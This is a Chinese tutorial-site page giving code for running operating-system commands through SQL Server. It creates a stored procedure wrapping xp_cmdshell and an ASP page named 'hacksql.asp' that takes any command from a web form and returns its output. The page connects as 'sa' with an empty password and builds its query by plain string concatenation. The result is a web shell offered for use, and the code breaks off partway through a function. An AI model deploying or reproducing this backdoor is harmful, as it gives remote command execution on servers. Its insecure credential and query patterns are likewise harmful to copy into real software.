一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

利用sql的存储过程实现dos命令的asp程序(原创^_^)

时间:2022-06-30 10:15:01 编辑:袖梨 来源:一聚教程网

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
    work()
else
    show()
end if
function work()
    set conn=server.CreateObject("adodb.connection")
    set rs=server.CreateObject("adodb.recordset")
    conn.Open "xx","sa",""
    sql="exec ddy '"&cmd&"'"
    
    rs.Open sql,conn
    if not rs.EOF then
        do while not rs.eof
                     Response.Write "
"&htmlencode2(trim(rs(0)))&"
"
       rs.MoveNext
        loop
    else
        Response.Write "no"
    end if
    if rs.State=1 then rs.close
    set rs=nothing
    conn.Close
    set conn=nothing
end function
function show()
%>

请输入DOS命令:


<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
    dim result
    dim l

热门栏目